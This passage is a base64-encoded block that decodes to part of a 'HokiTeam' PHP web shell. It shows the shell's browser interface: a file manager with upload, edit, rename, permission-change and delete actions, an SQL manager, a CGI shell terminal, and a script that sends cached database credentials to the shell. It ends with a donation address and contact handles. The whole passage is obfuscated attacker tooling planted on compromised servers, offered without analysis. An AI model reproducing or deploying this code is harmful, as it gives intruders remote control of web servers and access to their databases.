lsZTogPC9zcGFuPjxzcGFuPjxidXR0b24gaWQ9J2FkZHVwJyBvbmNsaWNrPSdhZGRuZXd1cCgpO3JldHVybiBmYWxzZTsnPjxiPis8L2I+PC9idXR0b24+PC9zcGFuPjxwIGlkPSdwZm9vdGVydXAnPjxsYWJlbCBjbGFzcz0naW5wdXRmaWxlJyBmb
3I9J2Zvb3RlcnVwJz48c3BhbiBpZD0nX19mbmFtZXVwJz48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSdmb290ZXJ1cCcgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPSdmaWxl
JyBuYW1lPSdmW10nIG9uQ2hhbmdlPSdoYW5kbGV1cCh0aGlzLDApOycgbXVsdGlwbGU+PC9wPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48ZGl2IGlkPSdob2tpLWNvcHlyaWdodCc+PHNwYW4gY2x
hc3M9J2NvcHlyaWdodCc+WyAuL0hva2lUZWFtICZjb3B5OyAyMDEyLSIuZGF0ZSgnWScpLiIgXTwvc3Bhbj48YnI+PHNwYW4+PGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxlcnQoXCJCVEM6IGJjMXF3eWoycHVzczdwOW
RjOWdwNXI5dDhldnBxdDR0eXh1cGF6YXlydlwiKTsnIHN0eWxlPSdjb2xvcjogI0U5MUU2Mzt0ZXh0LWRlY29yYXRpb246IG5vbmU7Jz5Eb25hdGUgVXMgITwvYT48L3NwYW4+IDxzcGFuIHN0eWxlPSdsZXR0ZXItc3BhY2luZzogMnB4O2NvbG9yO
iAjZGZmZjAwOyc+a2lzZXJ5b3VuaVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9r
aXNlcnlvdW5pJz5Aa2lzZXJ5b3VuaTwvYT48L3NwYW4+PC9kaXY+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9kaXY+Cgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdycgc3R5bGU9J2JhY2tncm91bmQ6cmdiYSgwLCAwLCAwLCAwLjY5KTsnPjxkaXYgY2x
hc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2
xpY2s9J2VkaXRvck1pbmltaXplKFwib3B0aW9uc193aW5kb3dcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwib3B0aW9uc193aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2I
HN0eWxlPSdoZWlnaHQ6MTAwJTsnIGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJz48ZGl2IGNsYXNzPSdvcHRpb25zX3RhYic+PC9kaXY+PGRpdiBjbGFzcz0nb3B0aW9uc19jb250ZW50JyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJn
aW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7b3ZlcmZsb3c6YXV0bzsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nZGF0YWJhc2Vfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGR
pdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+U3FsIE1hbmFnZXI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG
9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJkYXRhYmFzZV93aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpd
j48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7bWF4LWhlaWdodDo5MCU7Jz48ZGl2IGNsYXNzPSdzcWwt
dGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nc3FsLWNvbnRlbnRzJyBzdHlsZT0nbWF4LWhlaWdodDogODV2aDsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nY2dpbG9hZGVyJz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGR
pdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcIm
NnaWxvYWRlclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJjZ2lsb2FkZXJcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSdjZ2lmcmFtZScgc3R5bGU9J3Bvc2l0aW9uOnJlb
GF0aXZlO21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7Jz48ZGl2IGNsYXNzPSd0ZXJtaW5hbC10YWJzJz48L2Rpdj48ZGl2IHN0eWxlPSdoZWlnaHQ6OTAlOycgY2xhc3M9J3Rlcm1pbmFsLWNvbnRlbnRzJz48L2Rpdj48L2Rpdj48
L2Rpdj48L2Rpdj4KPGRpdiBpZD0nZWRpdG9yJyBzdHlsZT0nZGlzcGxheTpub25lOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl
2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7Jy
BjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IG9uY2xpY2s9J2hpc3RvcnlQYW5lbENvbnRyb2xsZXIodGhpcyk7JyBtb2RlPSd2aXNpYmxlJyBjbGFzcz0naGlzdG9yeS1wYW5lbC1jb250cm9sbGVyJz48PDwvZGl2P
jxkaXYgY2xhc3M9J2VkaXRvci1leHBsb3Jlcic+PGRpdiBjbGFzcz0naGhlYWRlcic+PGRpdiBjbGFzcz0naGlzdG9yeS1jbGVhcicgb25jbGljaz0nY2xlYXJFZGl0b3JIaXN0b3J5KCk7Jz5DbGVhciBhbGw8L2Rpdj48ZGl2IGNsYXNzPSdoaGVh
ZGVyLXRleHQnPkhpc3Rvcnk8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3Itc2VhcmNoJz48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgaWQ9J3NlYXJjaC1pbnB1dCcgcGxhY2Vob2xkZXI9J3NlYXJjaCc+PC9kaXY
+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1saXN0Jz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItbW9kYWwnPjxkaXYgY2xhc3M9J2VkaXRvci1ib2R5Jz48ZGl2IGNsYXNzPSdlZGl0b3ItY29udGVudCc+PGRpdiBjbGFzcz0nZWRpdG
9yLXRhYnMnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50LWhvbGRlcic+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3VwZGF0ZS1jb250ZW50Jz48L2Rpdj4KPGRpdiBpZD0nZGF0YWJhc2Vfd2luZ
G93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBjbGFzcz0n
bWluaW1pemVkLXRleHQnIHN0eWxlPSd0b3A6IDE1cHg7Jz5EYXRhYmFzZTwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjx
kaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiA0cHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPk9wdGlvbnM8L2Rpdj48L2Rpdj48L2Rpdj
4KPGRpdiBpZD0nZWRpdG9yLW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImVkaXRvclwiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzd
HlsZT0ndG9wOiAycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkVkaXRvcjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdjZ2lsb2FkZXItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiY2dpbG9hZGVyXCIpOyc+PGRpdiBjbGFz
cz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDEycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkNnaSBTaGVsbDwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl
2IGlkPSdyaWdodGNsaWNrX21lbnUnPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hbWU9J25ld3RhYic+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2
dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gT3BlbiBpbiBuZXcgdGFiPC9hPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hb
WU9J2xpbmsnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93
bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE9wZW4gZmlsZSBkaXJlY3RseTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkb3dubG9hZCc+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmc
tY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gRG93bmxvYWQ8L2E+CiAgPG
EgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wc
mludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1l
PSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZ
yZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybW
lkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApO
ycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNs
aXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0
namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZW
UuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBDb3B5PC9hP
gogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHBzOi8vcG5n
LnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiA
gUmVuYW1lPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcIm1vZGlmeVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nbW9kaWZ5Jz48aW1nIHNyYz1cIm
h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3M
TU5LnBuZ1wiPiAgTW9kaWZ5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInBlcm1pc3Npb25cIik7JyBuYW1lPSdwZXJtaXNzaW9uJz48aW1nIHNyYz1cImh0dHBzOi8v
cG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1w
iPiBDaGFuZ2UgUGVybWlzc2lvbnM8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVN5bmNNZW51VG9PcHQodGhpcyk7JyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J2NvbXByZXNzJz48aW1nIHNyYz1cImh0dH
BzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5L
nBuZ1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdob2tpU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwczovL3Bu
Zy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4
gRXh0cmFjdDwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkZWxldGUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZG
EtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+C
jxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xh
c3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmx
vdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW
5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgI
CAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAg
IDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgo
JCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIH
ZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD48L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2Y
Wx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8
dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQk
JCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YW
x1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyP
goJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0n
dGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR
5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQ
kJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blc
m1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJ
PGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2hva2lQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJ
jMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIG
hva2lNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplL
mRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTpob2tpYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzpob2tpYjY0KGNfKSxob2tpMTpob2tp
YjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImhva2kyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuaG9raTImJiJwYWdlIiE9ZS5wb3N0Lmh
va2kyJiYiZWRpdCIhPWUucG9zdC5ob2tpMiYmImRlbGV0ZSIhPWUucG9zdC5ob2tpMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD
0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWhva2liNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb
3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjtob2tpbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXtob2tpbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBo
